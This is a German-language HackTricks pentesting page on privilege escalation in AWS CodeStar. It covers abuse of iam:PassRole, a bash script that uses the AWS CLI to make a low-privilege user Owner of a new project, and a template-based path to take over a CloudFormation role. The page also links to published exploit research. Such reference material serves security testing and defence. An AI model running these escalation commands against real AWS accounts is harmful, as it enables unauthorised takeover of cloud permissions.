AWS - Codestar Privesc

Support HackTricks

Codestar

Du kannst mehr Informationen über Codestar finden in:

iam:PassRole, codestar:CreateProject

Mit diesen Berechtigungen kannst du eine Codestar IAM-Rolle missbrauchen, um willkürliche Aktionen über eine CloudFormation-Vorlage auszuführen. Überprüfe die folgende Seite:

codestar:CreateProject, codestar:AssociateTeamMember

Diese Technik verwendet codestar:CreateProject, um ein Codestar-Projekt zu erstellen, und codestar:AssociateTeamMember, um einen IAM-Benutzer zum Besitzer eines neuen CodeStar-Projekts zu machen, was ihnen eine neue Richtlinie mit einigen zusätzlichen Berechtigungen gewährt.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Wenn Sie bereits ein Mitglied des Projekts sind, können Sie die Berechtigung codestar:UpdateTeamMember verwenden, um Ihre Rolle auf Eigentümer anstelle von codestar:AssociateTeamMember zu aktualisieren.

Potenzielle Auswirkungen: Privesc zur generierten codestar-Richtlinie. Ein Beispiel für diese Richtlinie finden Sie in:

codestar:CreateProjectFromTemplate

  1. Ein neues Projekt erstellen:

  • Nutzen Sie die codestar:CreateProjectFromTemplate-Aktion, um die Erstellung eines neuen Projekts zu initiieren.

  • Nach erfolgreicher Erstellung wird automatisch Zugriff auf cloudformation:UpdateStack gewährt.

  • Dieser Zugriff zielt speziell auf einen Stack, der mit der CodeStarWorker-<generischer Projektname>-CloudFormation IAM-Rolle verbunden ist.

  1. Aktualisieren Sie den Ziel-Stack:

  • Mit den gewährten CloudFormation-Berechtigungen fahren Sie fort, den angegebenen Stack zu aktualisieren.

  • Der Name des Stacks wird typischerweise einem von zwei Mustern entsprechen:

  • awscodestar-<generischer Projektname>-infrastructure

  • awscodestar-<generischer Projektname>-lambda

  • Der genaue Name hängt von der gewählten Vorlage ab (siehe das Beispiel-Exploit-Skript).

  1. Zugriff und Berechtigungen:

  • Nach der Aktualisierung erhalten Sie die Fähigkeiten, die der CloudFormation IAM-Rolle zugeordnet sind, die mit dem Stack verbunden ist.

  • Hinweis: Dies gewährt nicht automatisch vollständige Administratorrechte. Weitere falsch konfigurierte Ressourcen innerhalb der Umgebung könnten erforderlich sein, um die Berechtigungen weiter zu erhöhen.

Für weitere Informationen überprüfen Sie die ursprüngliche Forschung: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Sie finden das Exploit in https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potenzielle Auswirkungen: Privesc zur CloudFormation IAM-Rolle.

HackTricks unterstützen

Last updated